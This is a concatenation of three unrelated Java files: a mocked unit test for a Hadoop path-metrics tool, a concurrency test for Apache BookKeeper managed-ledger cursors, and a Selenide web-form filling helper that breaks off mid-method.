assertEquals(metrics.get(4).getName(), "maxAge");
assertEquals(metrics.get(5).getName(), "maxSize");
assertEquals(metrics.get(6).getName(), "minAge");
assertEquals(metrics.get(7).getName(), "minSize");
assertEquals(metrics.get(8).getName(), "size");
assertEquals(metrics.get(9).getName(), "sumSize");
}
/**
* Test that default metrics are added for a path with expected creation time
*/
@Test
public void testGetDefaultMetricsForExpectedCreationTime() {
Path path = new Path("testPath", "/test/path");
PathStatus pathStatus = new PathStatus("foo", "/foo", path, ImmutableList.<PathDetail>of(),
new TimeValue(TimeZone.getDefault(), System.currentTimeMillis()));
List<Metric> metrics = Lists.newArrayList(camino.getDefaultMetrics(pathStatus));
assertEquals(metrics.size(), 4);
Collections.sort(metrics, new Comparator<Metric>() {
@Override
public int compare(Metric m1, Metric m2) {
return m1.getName().compareTo(m2.getName());
}
});
assertEquals(metrics.get(0).getName(), "age");
assertEquals(metrics.get(1).getName(), "count");
assertEquals(metrics.get(2).getName(), "creationDelay");
assertEquals(metrics.get(3).getName(), "size");
}
/**
* Test processing an repeat
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testProcessRepeat() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
// create repeat
Repeat repeat = newRepeat("theVar", "theList", new Path("thePath", "/das/auto"));
// mock renderer
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("theList"), any(Context.class))).thenReturn(Lists.
newArrayList("a", "b"));
when(renderer.render(eq("thePath"), any(Context.class))).thenReturn("thePath");
when(renderer.render(eq("/das/auto"), any(Context.class))).thenReturn("/das/auto");
// mock environment
Env env = mock(Env.class);
mockFileSystem(env);
Context context = mockGlobalContext(env);
List<Context> repeatContexts = mockChildContexts(2, context, context, env);
mockChildContext(repeatContexts.get(0), context, env);
mockChildContext(repeatContexts.get(1), context, env);
// exercise processRepeat
List<Future<PathMetrics>> futures = Lists.newLinkedList();
camino.processRepeat(repeat, renderer, context, executorService, futures);
// verify that the two values in the list are iterated over
verify(repeatContexts.get(0)).setProperty("theVar", "a");
verify(repeatContexts.get(1)).setProperty("theVar", "b");
}
/**
* Test process nested repeats recursively
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testProcessRepeatRecursive() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
// create recursive repeat
Repeat repeat = new Repeat("outerVar", "outerList", null, ImmutableList
.of(new Repeat("innerVar", "innerList", ImmutableList.of(new Path("thePath",
"/das/auto")), null)));
// mock renderer
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("outerList"), any(Context.class))).thenReturn(Lists.
newArrayList("a", "b"));
when(renderer.render(eq("innerList"), any(Context.class))).thenReturn(Lists.
newArrayList("x", "y"));
when(renderer.render(eq("thePath"), any(Context.class))).thenReturn("thePath");
when(renderer.render(eq("/das/auto"), any(Context.class))).thenReturn("/das/auto");
// mock environment
Env env = mock(Env.class);
mockFileSystem(env);
Context context = mockGlobalContext(env);
List<Context> repeatContexts = mockChildContexts(2, context, context, env);
List<Context> innerContexts1 = mockChildContexts(2, repeatContexts.get(0), context, env);
mockChildContext(innerContexts1.get(0), context, env);
mockChildContext(innerContexts1.get(1), context, env);
List<Context> innerContexts2 = mockChildContexts(2, repeatContexts.get(1), context, env);
mockChildContext(innerContexts2.get(0), context, env);
mockChildContext(innerContexts2.get(1), context, env);
// exercise processRepeat
List<Future<PathMetrics>> futures = Lists.newLinkedList();
camino.processRepeat(repeat, renderer, context, executorService, futures);
// verify that the two values in the list are iterated over
verify(repeatContexts.get(0)).setProperty("outerVar", "a");
verify(repeatContexts.get(1)).setProperty("outerVar", "b");
verify(innerContexts1.get(0)).setProperty("innerVar", "x");
verify(innerContexts1.get(1)).setProperty("innerVar", "y");
verify(innerContexts2.get(0)).setProperty("innerVar", "x");
verify(innerContexts2.get(1)).setProperty("innerVar", "y");
}
/**
* Test invalid var name in repeat
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testProcessRepeatInvalidVarName() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
Repeat repeat = newRepeat("3ab", "theList", new Path("thePath", "/das/auto"));
// mock error handler
Env env = mock(Env.class);
ErrorHandler errorHandler = mock(ErrorHandler.class);
when(env.getErrorHandler()).thenReturn(errorHandler);
Context context = mock(Context.class);
when(context.getEnv()).thenReturn(env);
// call repeat with error
camino.processRepeat(repeat, mock(Renderer.class), context, executorService,
Lists.<Future<PathMetrics>>newLinkedList());
// verify we handled error
verify(errorHandler).onRepeatError(eq(repeat), any(InvalidNameException.class));
}
/**
* Test list not being a list
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testProcessRepeatWrongListType() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
Repeat repeat = newRepeat("theVar", "theList", new Path("thePath", "/das/auto"));
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("theList"), any(Context.class))).thenReturn("aaa");
// mock error handler
Env env = mock(Env.class);
ErrorHandler errorHandler = mock(ErrorHandler.class);
when(env.getErrorHandler()).thenReturn(errorHandler);
Context context = mock(Context.class);
when(context.getEnv()).thenReturn(env);
// call repeat with error
camino.processRepeat(repeat, renderer, context, executorService,
Lists.<Future<PathMetrics>>newLinkedList());
// verify we handled error
verify(errorHandler).onRepeatError(eq(repeat), any(WrongTypeException.class));
}
/**
* Test getPathMetrics()
*
* Set up is to have one global property, one top-level path, one repeat that results in two paths.
* No path will contain expected creation time nor wild card, thus only the three basic metrics (age,
* count, and size) will be included by default. Therefore it should yield three path status results
* and nine metric data.
*/
@Test
public void testGetPathMetrics() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
long now = System.currentTimeMillis();
double ageValue = 12340000;
double sizeValue = 10000;
double countValue = 5;
// build config
List<Property> properties = of(new Property("root", "/app/data"));
List<Path> paths = of(new Path("big_data", "/app/big_data"));
List<Repeat> repeats = of(newRepeat("nom", "<%=list('foo','bar')%>",
new Path("do_<%=nom%>", "<%=root%>/<%=nom%>")));
Config config = ConfigBuilder.create().addProperties(properties).addPaths(paths)
.addRepeats(repeats).buildLocal();
// mock environment
Env env = mock(Env.class);
FileSystem fileSystem = mockFileSystem(env);
org.apache.hadoop.fs.Path path1 = new org.apache.hadoop.fs.Path("/app/data");
FileStatus[] fss = new FileStatus[] {
new FileStatus(15000, false, 3, 64*1024*1024, now - 10000, path1)};
when(fileSystem.globStatus(any(org.apache.hadoop.fs.Path.class)))
.thenReturn(fss);
Context context = mockGlobalContext(env);
mockMetricFunction(context, "age", ageValue);
mockMetricFunction(context, "size", sizeValue);
mockMetricFunction(context, "count", countValue);
List<Context> childContexts = mockChildContexts(2, context, context, env);
for (Context childContext : childContexts) {
mockMetricFunction(childContext, "age", ageValue);
mockMetricFunction(childContext, "size", sizeValue);
mockMetricFunction(childContext, "count", countValue);
}
// mock renderer
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("root"), any(Context.class))).thenReturn("root");
when(renderer.render(eq("/app/data"), any(Context.class))).thenReturn("/app/data");
when(renderer.render(eq("big_data"), any(Context.class))).thenReturn("big_data");
when(renderer.render(eq("/app/big_data"), any(Context.class))).thenReturn("/app/big_data");
when(renderer.render(eq("nom"), any(Context.class))).thenReturn("nom");
when(renderer.render(eq("<%=list('foo','bar')%>"), any(Context.class)))
.thenReturn(of("foo", "bar"));
when(renderer.render(eq("do_<%=nom%>"), any(Context.class)))
.thenReturn("do_foo", "do_bar");
when(renderer.render(eq("<%=root%>/<%=nom%>"), any(Context.class)))
.thenReturn("/t/foo", "/t/bar");
when(env.getRenderer()).thenReturn(renderer);
// set executor service
when(env.getExecutorService()).thenReturn(executorService);
// call camino
Camino camino = new Camino(env, config);
List<PathMetrics> pathMetrics = camino.getPathMetrics();
// verify interactions
verify(env).newContext();
verify(env).getRenderer();
verify(context).setProperty("root", "/app/data");
verify(context, times(2)).createChild();
// check for paths
assertEquals(pathMetrics.size(), 3);
assertEquals(pathMetrics.get(0).getPathStatus().getName(), "big_data");
assertEquals(pathMetrics.get(0).getPathStatus().getValue(), "/app/big_data");
assertEquals(pathMetrics.get(1).getPathStatus().getName(), "do_foo");
assertEquals(pathMetrics.get(1).getPathStatus().getValue(), "/t/foo");
assertEquals(pathMetrics.get(2).getPathStatus().getName(), "do_bar");
assertEquals(pathMetrics.get(2).getPathStatus().getValue(), "/t/bar");
// check for metric data
assertEquals(pathMetrics.get(0).getMetricData().get(0).getMetricId().getFullName(), "big_data.age");
assertEquals(pathMetrics.get(0).getMetricData().get(0).getValue(), ageValue);
assertEquals(pathMetrics.get(0).getMetricData().get(1).getMetricId().getFullName(), "big_data.size");
assertEquals(pathMetrics.get(0).getMetricData().get(1).getValue(), sizeValue);
assertEquals(pathMetrics.get(0).getMetricData().get(2).getMetricId().getFullName(), "big_data.count");
assertEquals(pathMetrics.get(0).getMetricData().get(2).getValue(), countValue);
assertEquals(pathMetrics.get(1).getMetricData().get(0).getMetricId().getFullName(), "do_foo.age");
assertEquals(pathMetrics.get(1).getMetricData().get(0).getValue(), ageValue);
assertEquals(pathMetrics.get(1).getMetricData().get(1).getMetricId().getFullName(), "do_foo.size");
assertEquals(pathMetrics.get(1).getMetricData().get(1).getValue(), sizeValue);
assertEquals(pathMetrics.get(1).getMetricData().get(2).getMetricId().getFullName(), "do_foo.count");
assertEquals(pathMetrics.get(1).getMetricData().get(2).getValue(), countValue);
assertEquals(pathMetrics.get(2).getMetricData().get(0).getMetricId().getFullName(), "do_bar.age");
assertEquals(pathMetrics.get(2).getMetricData().get(0).getValue(), ageValue);
assertEquals(pathMetrics.get(2).getMetricData().get(1).getMetricId().getFullName(), "do_bar.size");
assertEquals(pathMetrics.get(2).getMetricData().get(1).getValue(), sizeValue);
assertEquals(pathMetrics.get(2).getMetricData().get(2).getMetricId().getFullName(), "do_bar.count");
assertEquals(pathMetrics.get(2).getMetricData().get(2).getValue(), countValue);
}
/**
* Test calling gethPathMetrics without specified executor service
*
* @throws InvalidNameException
* @throws WrongTypeException
* @throws RenderException
* @throws IOException
*/
@Test
public void testGetPathMetricsInternalExecutor() throws InvalidNameException, WrongTypeException,
RenderException, IOException {
// test data
long now = System.currentTimeMillis();
double ageValue = 12340000;
double sizeValue = 10000;
double countValue = 5;
Config config = ConfigBuilder.create().addPaths(of(new Path("path", "value"))).buildLocal();
// mock environment
Env env = mock(Env.class);
FileSystem fileSystem = mockFileSystem(env);
org.apache.hadoop.fs.Path path1 = new org.apache.hadoop.fs.Path("/app/data");
FileStatus[] fss = new FileStatus[] {
new FileStatus(15000, false, 3, 64*1024*1024, now - 10000, path1)};
when(fileSystem.globStatus(any(org.apache.hadoop.fs.Path.class)))
.thenReturn(fss);
Context context = mockGlobalContext(env);
List<Context> childContexts = mockChildContexts(1, context, context, env);
mockChildContexts(3, childContexts.get(0), context, env);
// mock renderer
Renderer renderer = mock(Renderer.class);
when(renderer.render(eq("path"), any(Context.class))).thenReturn("path");
when(renderer.render(eq("value"), any(Context.class))).thenReturn("value");
mockMetricFunction(context, "age", ageValue);
mockMetricFunction(context, "size", sizeValue);
mockMetricFunction(context, "count", countValue);
when(env.getRenderer()).thenReturn(renderer);
Camino camino = new Camino(env, config);
List<PathMetrics> pathMetrics = camino.getPathMetrics();
assertEquals(pathMetrics.size(), 1);
assertEquals(pathMetrics.get(0).getMetricData().size(), 3);
assertEquals(pathMetrics.get(0).getMetricData().get(0).getMetricId().getName(), "age");
assertEquals(pathMetrics.get(0).getMetricData().get(0).getValue(), ageValue);
assertEquals(pathMetrics.get(0).getMetricData().get(1).getMetricId().getName(), "size");
assertEquals(pathMetrics.get(0).getMetricData().get(1).getValue(), sizeValue);
assertEquals(pathMetrics.get(0).getMetricData().get(2).getMetricId().getName(), "count");
assertEquals(pathMetrics.get(0).getMetricData().get(2).getValue(), countValue);
}
/**
* Test check identifier
*
* @throws InvalidNameException
*/
@Test
public void testCheckIdentifier() throws InvalidNameException {
camino.checkIdentifier("a");
camino.checkIdentifier("a_b");
camino.checkIdentifier("aBcDe");
camino.checkIdentifier("x1c");
camino.checkIdentifier("_");
camino.checkIdentifier("$");
camino.checkIdentifier("a$b");
}
/**
* Test containsWildcard
*/
@Test
public void testContainsWildcard() {
assertFalse(camino.containsWildcard(""));
assertFalse(camino.containsWildcard("abc/123"));
assertTrue(camino.containsWildcard("abc/*/def"));
assertTrue(camino.containsWildcard("x/3?4"));
assertFalse(camino.containsWildcard("pq\\*rs"));
assertTrue(camino.containsWildcard("/foo/bar[abc].dat"));
assertTrue(camino.containsWildcard("/n/t[0-9]gh"));
assertFalse(camino.containsWildcard("vv\\[3\\]ss"));
assertTrue(camino.containsWildcard("/foo/bar{ee,ff,gg}.dat"));
assertFalse(camino.containsWildcard("ijk\\{oo\\}lmn"));
}
/**
* Test check identifier with invalid character
*
* @throws InvalidNameException
*/
@Test(expectedExceptions = InvalidNameException.class)
public void testCheckIdentifierNonAlphaNumeric() throws InvalidNameException {
camino.checkIdentifier("a*b");
}
/**
* Test check identifier with zero length
*
* @throws InvalidNameException
*/
@Test(expectedExceptions = InvalidNameException.class)
public void testCheckIdentifierZeroLength() throws InvalidNameException {
camino.checkIdentifier("");
}
/**
* Test check identifier starting with digit
*
* @throws InvalidNameException
*/
@Test(expectedExceptions = InvalidNameException.class)
public void testCheckIdentifierInitialDigit() throws InvalidNameException {
camino.checkIdentifier("0a");
}
/**
* Creates new repeat
*
* @param var variable to hold element of list
* @param list list to iterate over
* @param paths paths under repeat
* @return new repeat
*/
protected static Repeat newRepeat(String var, String list, Path...paths) {
return new Repeat(var, list, copyOf(paths), null);
}
/**
* Mocks a file system in environment
*
* @param env environment to put file system into
* @return mocked file system
* @throws IOException
*/
protected static FileSystem mockFileSystem(Env env) throws IOException {
FileSystem fileSystem = mock(FileSystem.class);
when(env.getFileSystem()).thenReturn(fileSystem);
return fileSystem;
}
/**
* Mocks a global context
*
* @param env environment to put global context into
* @return mocked global context
*/
protected static Context mockGlobalContext(Env env) {
Context context = mock(Context.class);
when(context.getEnv()).thenReturn(env);
when(context.getGlobal()).thenReturn(context);
when(env.newContext()).thenReturn(context);
return context;
}
/**
* Mock set property of a context
*
* @param context context
* @param name name of property
* @param type type of value
* @param value value to set
* @throws WrongTypeException
*/
protected static <T> void mockSetProperty(Context context, String name, Class<T> type,
T value) throws WrongTypeException {
when(context.getProperty(name)).thenReturn(value);
when(context.getProperty(name, type)).thenReturn(value);
}
/**
* Mocks a child context
*
* @param parent parent context
* @param global global context
* @param env environment to put child context into
* @return child context
*/
protected static Context mockChildContext(Context parent, Context global, Env env) {
return mockChildContexts(1, parent, global, env).get(0);
}
/**
* Mocks one or more child contexts
*
* @param count number of child contexts to mock
* @param parent parent context
* @param global global context
* @param env environment to put child contexts into
* @return list of child contexts
*/
protected static List<Context> mockChildContexts(int count, Context parent, Context global,
Env env) {
List<Context> childContexts = Lists.newArrayListWithExpectedSize(count);
for (int i = 0; i < count; i++) {
Context childContext = mock(Context.class);
when(childContext.getEnv()).thenReturn(env);
when(childContext.getGlobal()).thenReturn(global);
childContexts.add(childContext);
}
if (count > 1) {
when(parent.createChild()).thenReturn(childContexts.get(0),
childContexts.subList(1, count).toArray(new Context[count]));
} else if (count == 1) {
when(parent.createChild()).thenReturn(childContexts.get(0));
}
return childContexts;
}
/**
* Mock a metric function
*
* @param context context
* @param name name of function
* @param metricValue static value returned by function
*/
protected static Function mockMetricFunction(Context context, String name, double metricValue)
throws FunctionCallException, WrongTypeException {
Function aggFunction = mock(Function.class);
when(aggFunction.invoke(any(List.class), any(Context.class))).thenReturn(metricValue);
mockSetProperty(context, name, Function.class, aggFunction);
return aggFunction;
}
interface PathMetricsFuture extends Future<PathMetrics> {}
interface PathMetricsFutureList extends List<Future<PathMetrics>> {}
}
| |
/**
* Copyright 2016 Yahoo Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.bookkeeper.mledger.impl;
import static org.testng.Assert.assertEquals;
import static org.testng.Assert.assertNull;
import java.util.List;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.CyclicBarrier;
import java.util.concurrent.Executor;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.bookkeeper.mledger.AsyncCallbacks;
import org.apache.bookkeeper.mledger.AsyncCallbacks.DeleteCallback;
import org.apache.bookkeeper.mledger.AsyncCallbacks.ReadEntryCallback;
import org.apache.bookkeeper.mledger.Entry;
import org.apache.bookkeeper.mledger.ManagedCursor;
import org.apache.bookkeeper.mledger.ManagedCursor.IndividualDeletedEntries;
import org.apache.bookkeeper.mledger.ManagedLedger;
import org.apache.bookkeeper.mledger.ManagedLedgerConfig;
import org.apache.bookkeeper.mledger.ManagedLedgerException;
import org.apache.bookkeeper.mledger.Position;
import org.apache.bookkeeper.test.MockedBookKeeperTestCase;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.testng.annotations.Test;
import com.google.common.collect.Lists;
public class ManagedCursorConcurrencyTest extends MockedBookKeeperTestCase {
Executor executor = Executors.newCachedThreadPool();
private static final Logger log = LoggerFactory.getLogger(ManagedCursorConcurrencyTest.class);
private final AsyncCallbacks.DeleteCallback deleteCallback = new AsyncCallbacks.DeleteCallback() {
@Override
public void deleteComplete(Object ctx) {
log.info("Deleted message at {}", ctx);
}
@Override
public void deleteFailed(ManagedLedgerException exception, Object ctx) {
log.error("Failed to delete message at {}", ctx, exception);
}
};
@Test
public void testMarkDeleteAndRead() throws Exception {
ManagedLedger ledger = factory.open("my_test_ledger", new ManagedLedgerConfig().setMaxEntriesPerLedger(2));
final ManagedCursor cursor = ledger.openCursor("c1");
final List<Position> addedEntries = Lists.newArrayList();
for (int i = 0; i < 1000; i++) {
Position pos = ledger.addEntry("entry".getBytes());
addedEntries.add(pos);
}
final CyclicBarrier barrier = new CyclicBarrier(2);
final CountDownLatch counter = new CountDownLatch(2);
final AtomicBoolean gotException = new AtomicBoolean(false);
Thread deleter = new Thread() {
public void run() {
try {
barrier.await();
for (Position position : addedEntries) {
cursor.markDelete(position);
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
Thread reader = new Thread() {
public void run() {
try {
barrier.await();
for (int i = 0; i < 1000; i++) {
cursor.readEntries(1).forEach(e -> e.release());
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
deleter.start();
reader.start();
counter.await();
assertEquals(gotException.get(), false);
}
@Test
public void testCloseAndRead() throws Exception {
ManagedLedger ledger = factory.open("my_test_ledger_test_close_and_read",
new ManagedLedgerConfig().setMaxEntriesPerLedger(2));
final ManagedCursor cursor = ledger.openCursor("c1");
final CompletableFuture<String> closeFuture = new CompletableFuture<>();
final String CLOSED = "closed";
final List<Position> addedEntries = Lists.newArrayList();
for (int i = 0; i < 1000; i++) {
Position pos = ledger.addEntry("entry".getBytes());
addedEntries.add(pos);
}
final CyclicBarrier barrier = new CyclicBarrier(2);
final CountDownLatch counter = new CountDownLatch(2);
final AtomicBoolean gotException = new AtomicBoolean(false);
Thread deleter = new Thread() {
public void run() {
try {
barrier.await();
for (Position position : addedEntries) {
cursor.markDelete(position);
Thread.sleep(1);
}
} catch (ManagedLedgerException e) {
if (!e.getMessage().equals("Cursor was already closed")) {
gotException.set(true);
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
Thread reader = new Thread() {
public void run() {
try {
barrier.await();
for (int i = 0; i < 1000; i++) {
cursor.readEntries(1).forEach(e -> e.release());
// Thread.sleep(2,200);
Thread.sleep(2, 195);
}
cursor.asyncClose(new AsyncCallbacks.CloseCallback() {
@Override
public void closeComplete(Object ctx) {
log.info("Successfully closed cursor ledger");
closeFuture.complete(CLOSED);
}
@Override
public void closeFailed(ManagedLedgerException exception, Object ctx) {
log.error("Error closing cursor: ", exception);
closeFuture.completeExceptionally(new Exception(exception));
}
}, null);
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
deleter.start();
reader.start();
counter.await();
assertEquals(gotException.get(), false);
assertEquals(closeFuture.get(), CLOSED);
}
@Test
public void testAckAndClose() throws Exception {
ManagedLedger ledger = factory.open("my_test_ledger_test_ack_and_close",
new ManagedLedgerConfig().setMaxEntriesPerLedger(2));
final ManagedCursor cursor = ledger.openCursor("c1");
final List<Position> addedEntries = Lists.newArrayList();
for (int i = 0; i < 1000; i++) {
Position pos = ledger.addEntry("entry".getBytes());
addedEntries.add(pos);
}
final CyclicBarrier barrier = new CyclicBarrier(2);
final CountDownLatch counter = new CountDownLatch(2);
final AtomicBoolean gotException = new AtomicBoolean(false);
Thread deleter = new Thread() {
public void run() {
try {
barrier.await();
for (Position position : addedEntries) {
cursor.asyncDelete(position, deleteCallback, position);
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
Thread reader = new Thread() {
public void run() {
try {
barrier.await();
for (int i = 0; i < 1000; i++) {
cursor.readEntries(1).forEach(e -> e.release());
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
};
System.out.println("starting deleter and reader.." + System.currentTimeMillis());
deleter.start();
reader.start();
counter.await();
assertEquals(gotException.get(), false);
System.out.println("Finished.." + System.currentTimeMillis());
}
@Test
public void testConcurrentIndividualDeletes() throws Exception {
ManagedLedger ledger = factory.open("my_test_ledger", new ManagedLedgerConfig().setMaxEntriesPerLedger(100));
final ManagedCursor cursor = ledger.openCursor("c1");
final int N = 1000;
final List<Position> addedEntries = Lists.newArrayListWithExpectedSize(N);
for (int i = 0; i < N; i++) {
Position pos = ledger.addEntry("entry".getBytes());
addedEntries.add(pos);
}
final int Threads = 10;
final CyclicBarrier barrier = new CyclicBarrier(Threads);
final CountDownLatch counter = new CountDownLatch(Threads);
final AtomicBoolean gotException = new AtomicBoolean(false);
for (int thread = 0; thread < Threads; thread++) {
final int myThread = thread;
executor.execute(new Runnable() {
public void run() {
try {
barrier.await();
for (int i = 0; i < N; i++) {
int threadId = i % Threads;
if (threadId == myThread) {
cursor.delete(addedEntries.get(i));
}
}
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
}
});
}
counter.await();
assertEquals(gotException.get(), false);
assertEquals(cursor.getMarkDeletedPosition(), addedEntries.get(addedEntries.size() - 1));
}
@Test
public void testConcurrentReadOfSameEntry() throws Exception {
ManagedLedger ledger = factory.open("testConcurrentReadOfSameEntry", new ManagedLedgerConfig());
final int numCursors = 5;
final List<ManagedCursor> cursors = Lists.newArrayList();
for (int i = 0; i < numCursors; i++) {
final ManagedCursor cursor = ledger.openCursor("c" + i);
cursors.add(cursor);
}
final int N = 100;
for (int i = 0; i < N; i++) {
ledger.addEntry(("entry" + i).getBytes());
}
long currentLedger = ((PositionImpl) cursors.get(0).getMarkDeletedPosition()).getLedgerId();
// empty the cache
((ManagedLedgerImpl) ledger).entryCache.invalidateAllEntries(currentLedger);
final CyclicBarrier barrier = new CyclicBarrier(numCursors);
final CountDownLatch counter = new CountDownLatch(numCursors);
AtomicReference<String> result = new AtomicReference<String>();
for (int i = 0; i < numCursors; i++) {
final int cursorIndex = i;
final ManagedCursor cursor = cursors.get(cursorIndex);
executor.execute(() -> {
try {
barrier.await();
for (int j = 0; j < N; j++) {
String expected = "entry" + j;
String data = new String(cursor.readEntries(1).get(0).getDataAndRelease());
if ((!expected.equals(data)) && result.get() == null) {
result.set("Mismatched entry in cursor " + (cursorIndex + 1) + " at position " + (j + 1)
+ "--- Expected: " + expected + ", Actual: " + data);
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
counter.countDown();
}
});
}
counter.await();
assertNull(result.get());
}
@Test
public void testConcurrentIndividualDeletesWithGetNthEntry() throws Exception {
ManagedLedger ledger = factory.open("my_test_ledger",
new ManagedLedgerConfig().setMaxEntriesPerLedger(100).setThrottleMarkDelete(0.5));
final ManagedCursor cursor = ledger.openCursor("c1");
final int N = 1000;
final List<Position> addedEntries = Lists.newArrayListWithExpectedSize(N);
for (int i = 0; i < N; i++) {
Position pos = ledger.addEntry("entry".getBytes());
addedEntries.add(pos);
}
final int deleteEntries = 100;
final CountDownLatch counter = new CountDownLatch(deleteEntries);
final AtomicBoolean gotException = new AtomicBoolean(false);
final AtomicInteger iteration = new AtomicInteger(0);
for (int i = 0; i < deleteEntries; i++) {
executor.execute(() -> {
try {
cursor.asyncDelete(addedEntries.get(iteration.getAndIncrement()), new DeleteCallback() {
@Override
public void deleteComplete(Object ctx) {
log.info("Successfully deleted cursor");
}
@Override
public void deleteFailed(ManagedLedgerException exception, Object ctx) {
exception.printStackTrace();
gotException.set(true);
}
}, null);
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
counter.countDown();
}
});
}
counter.await();
final int readEntries = N - deleteEntries;
final CountDownLatch readCounter = new CountDownLatch(readEntries);
final AtomicInteger successReadEntries = new AtomicInteger(0);
for (int i = 1; i <= readEntries; i++) {
try {
cursor.asyncGetNthEntry(i, IndividualDeletedEntries.Exclude, new ReadEntryCallback() {
@Override
public void readEntryComplete(Entry entry, Object ctx) {
successReadEntries.getAndIncrement();
entry.release();
}
@Override
public void readEntryFailed(ManagedLedgerException exception, Object ctx) {
exception.printStackTrace();
gotException.set(true);
}
}, null);
} catch (Exception e) {
e.printStackTrace();
gotException.set(true);
} finally {
readCounter.countDown();
}
}
readCounter.await();
assertEquals(gotException.get(), false);
assertEquals(readEntries, successReadEntries.get());
}
}
| |
package io.syndesis.qe.fragments.common.form;
import static com.codeborne.selenide.Condition.exist;
import static com.codeborne.selenide.Condition.visible;
import static com.codeborne.selenide.Selenide.$;
import io.syndesis.qe.utils.TestUtils;
import org.apache.commons.lang3.BooleanUtils;
import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.support.ui.WebDriverWait;
import com.codeborne.selenide.Condition;
import com.codeborne.selenide.SelenideElement;
import com.codeborne.selenide.WebDriverRunner;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
@Getter
@Slf4j
public class Form {
private SelenideElement rootElement;
private final List<String> selectValues = new ArrayList<>(Arrays.asList("yes", "checked", "check", "select", "selected", "true"));
private final List<String> unselectValues = new ArrayList<>(Arrays.asList("no", "unchecked", "uncheck", "unselect", "unselected", "false"));
public Form(SelenideElement rootElement) {
this.rootElement = rootElement;
}
public void fillByName(Map<String, String> data) {
fillBy(FillBy.NAME, data);
}
public void fillById(Map<String, String> data) {
fillBy(FillBy.ID, data);
}
/**
* Fill elements by data testid but skip non-existent elements
*
* @param data
*/
public void fillByTestId(Map<String, String> data) {
fillBy(FillBy.TEST_ID, data);
}
/**
* Test if all input elements exist then fill them by data testid
*
* @param data
*/
public void forceFillByTestId(Map<String, String> data) {
for (String testId : data.keySet()) {
TestUtils.waitFor(() -> $("[data-testid='" + testId + "']").exists(), 1, 15, "Fill in element " + testId + " was not found");
}
fillBy(FillBy.TEST_ID, data);
}
/**
* Finds the input elements by element attribute and fills the data in
*
* @param data [attribute - value]
*/
public void fillBy(FillBy fillBy, Map<String, String> data) {
if (data.isEmpty()) {
throw new IllegalArgumentException("account data is not set (empty)");
}
// this is an inputs map, which contains inputs and their respective types (tag names) on the form
// that we are trying to fill
// here, key is attribute (name or id) value of the input
// and value of the map element pair is element's tag for later use
Map<String, String> inputsMap = new HashMap<>();
for (String tagName : Arrays.asList("input", "select", "textarea", "button")) {
for (SelenideElement element : getRootElement().findAll(By.tagName(tagName))) {
inputsMap.put(element.getAttribute(fillBy.attribute), tagName);
}
}
log.info(inputsMap.toString());
for (String key : data.keySet()) {
// if the element we're looking for is on the form, then fill, otherwise error
if (inputsMap.containsKey(key)) {
log.info("fill value in {} ", key);
SelenideElement input;
if (fillBy.attribute.equalsIgnoreCase("id")) {
input = getRootElement().$(By.id(key)).shouldBe(visible);
} else {
String cssSelector = String.format("%s[" + fillBy.attribute + "='%s']", inputsMap.get(key), key);
input = getRootElement().$(cssSelector).shouldBe(visible);
}
if (input.is(Condition.type("button")) && input.parent().has(Condition.cssClass("dropdown"))) {
input.click();
input.parent().$$(By.tagName("a")).find(Condition.exactText(data.get(key))).click();
} else if (input.parent().$(By.tagName("select")).exists()) {
log.debug("trying to set " + data.get(key) + " into element" + input.toString());
input.selectOptionContainingText(data.get(key));
} else if ("checkbox".equals(input.getAttribute("type"))) {
// we only want to click the checkbox if it's current state and desired state are different
boolean shouldClick = input.isSelected() != BooleanUtils.toBoolean(data.get(key));
if (shouldClick) {
input.click();
}
} else {
input.sendKeys(Keys.chord(Keys.SHIFT, Keys.HOME));
input.sendKeys(Keys.BACK_SPACE);
input.clear();
input.sendKeys(data.get(key));
}
} else {
log.warn("Input {} is not present on form!", key);
}
}
}
public void fillEditor(String data) {
TestUtils.waitFor(() -> $(By.className("CodeMirror")).exists(),
1, 20, "Text editor was not loaded in 20s");
